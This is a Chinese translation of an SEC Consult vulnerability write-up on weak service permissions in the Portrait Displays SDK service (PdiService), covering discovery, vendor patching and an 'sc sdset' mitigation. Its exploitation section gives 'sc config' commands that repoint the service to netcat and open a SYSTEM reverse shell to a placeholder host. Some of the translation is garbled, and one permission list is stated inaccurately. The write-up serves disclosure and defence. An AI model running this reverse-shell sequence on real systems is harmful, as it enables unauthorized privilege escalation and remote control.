在Windows客户端进行安全审核期间,首先尝试找到一种升级权限的方式是相当普遍的,这可以扩大攻击面并准备更复杂的攻击(lateral movement,特权升级,ise和repeat)。除了各种软件中的已知漏洞之外,检查特权升级的一些低危漏洞总是很有趣。这些低危漏洞允许包括弱文件和文件夹权限,未引用的服务路径,或本博客文章中描述的弱服务权限,这些权限都可能导致Windows机器上的权限升级。
这些低危漏洞在渗透测试中经常定期出现,从技术的角度来看,它们通常并不复杂。
被识别出的问题Windows服务,伪装成一些品牌的bloatware被预装在了数百万笔记本电脑。这影响很大!特别是特权升级现在不再限于随机公司环境中的单一配置错误的设备。
注:bloatware通常指由硬件制造商在其硬件设备中预先安装的软件,购买这些硬件设备的买方多数都不想安装这些软件的。
Bloatware是那些预先安装在设备上的软件,几乎没有人会经常使用它们。根据硬件供应商的不同,一些硬件供应商会预装许多软件,而又些则保持着设备的干净。但是有一件事情,其中大部分预先安装的软件有着共同的特定,它们不是由硬件供应商自己开发的,而是从第三方获得,每个人都应该知道自主研发测试的程序和第三方开发的程序有很大区别,在应用程序转让给第三方开发的时候,必须要求承包商开发出来的软件具有严谨的安全性能,这一点也是非常重要。在服务发布前,承包商有义务在系统上安装和测试软件的各项问题,并由安全专家进行安全相关审批。
在以前我们就可以看到一些案例,OEM所收购的这种第三方外包被视为一个孤儿一样没人好好地对待它,在最坏的情况下软件没有经过安全专家适当的安全审查情况下就推出了该设备和软件。[1] [2] [3]
在这个博客文章中描述的漏洞被发现在所谓的虚拟屏幕显示(vOSD)的核心模块中。虚拟屏幕显示的目的是代替在笔记本电脑,智能手机和其他类型显示器的硬件调整按钮。这应该允许用户使用简单的软件快速管理某些屏幕参数(例如旋转,对齐,颜色值,伽玛值,色温,色彩饱和度,亮度等),而不是用硬件按钮来调整。
改变显示器的颜色并不能让攻击者用来攻击单个PC或整个公司的环境。这可能正是一些大OEM厂商的想法,这使得产生了含有漏洞的软件。
Exploitation本身并不是很特别,所以没有什么新鲜的东西看。但为了完整起见,我们在下面介绍了如何发现和利用漏洞的方式。
为了识别由Portrait Display Inc.为各种OEM作为虚拟屏幕显示的核心包打包的Portrait Display SDK服务,使用内置的Windows命令“sc
”检索Portrait Display SDK服务的权限。针对漏洞服务的命令输出可以看下面:
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) (A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) (A;;CCLCSWLOCRRC;;;IU) (A;;CCLCSWLOCRRC;;;SU)
通过将安全描述符定义语言[4] [5]转换为人类可读的单词,可以识别PdiService的以下权限:
RW NT AUTHORITY \ Authenticated Users RW NT AUTHORITY \ SYSTEM RW BUILTIN \ Administrators R NT AUTHORITY \ INTERACTIVE R NT AUTHORITY \ SERVICE
由于事实上,每个经过身份验证的用户都有对该服务的写入访问权限,因此攻击者可以通过更改服务的二进制路径来执行任意代码。此外,使用SYSTEM
权限执行Pdiservice,从而导致权限升级。
使用提升的SYSTEM
权限执行任意代码的工作流程如下所示:
sc stop pdiservice
sc config pdiservice binpath= "C:\nc.exe -nv $IP $PORT -e C:\WINDOWS\System32\cmd.exe"
sc start pdiservice
这里面的可能性是无止境的,其他有用的payloads
可以是创建新用户,将用户添加到组,更改权限等。所有命令都将使用SYSTEM
权限执行。
上述命令由没有管理权限的“sectester
”用户执行(这是一个低特权的标准用户)。如最后一幅图所示,用户成功地将其权限升级到SYSTEM
。
一个有趣的事情是,这不是第一次发布后的bloatware内置的漏洞,或“undocumented features” [1] [2] [3]。
这可以看到这相当有水分,该公司销售了数百万笔记本电脑,个人PC电脑和敞篷车但根本就不在乎(足够)安全。受影响的公司确实有数十亿美元的净值,但他们居然没有去第三方安全公司使用几千元来对软件和服务进行适当的安全审查。如果在发布此设备和软件之前已经被安全专家进行了安全审核,则此漏洞将立即可以在对应的用程序/服务中的安全审查识别出来。即使使用自动化的漏洞扫描器也可以检测到这种脆弱的服务权限[6][7]。
但是,似乎这个问题并不局限于这个博客中描述的这个服务中。很多其他服务也受到大的影响,问题是这些漏洞大部分时间都是被淡化甚至被忽视(例如Dell的DellRctlService [8]或者 Lansweeper Service[9]受到同样漏洞的影响,但没有人真的注意到,问题本身被淡化)。
有两种方法来防御这个漏洞。
供应商在其网站上提供了该漏洞的软件补丁:http : //www.portrait.com/securityupdate.html
你也可以自己使用内置的Windows命令“sc
”来更改服务的权限。
要完全删除“Authenticated Users
”组的权限,可以使用以下命令:
sc sdset pdiservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) (A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
这会删除以下组的权限
RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators R NT AUTHORITY\INTERACTIVE R NT AUTHORITY\SERVICE
供应商已经确认了,至少以下二进制文件中存在漏洞
以下软件使用了Portrait Displays SDK服务,但是sec-consult没有测试这些软件包是否含有漏洞:
最后,感谢Portrait Displays公司以专业的方式解决问题,并在持续修补漏洞的情况下定期回应有关漏洞补丁的当前状态,并意识到此漏洞至关重要,而不是像其他厂商一样[8] [9]。这对于客户和大家都是一件很好的事,这里[10]可以了解查看到更多详细的供应商时间表和其它详细信息。
本研究由Werner Schober代表sec-consult实验室完成.
参考来源:
*作者:sec-consult,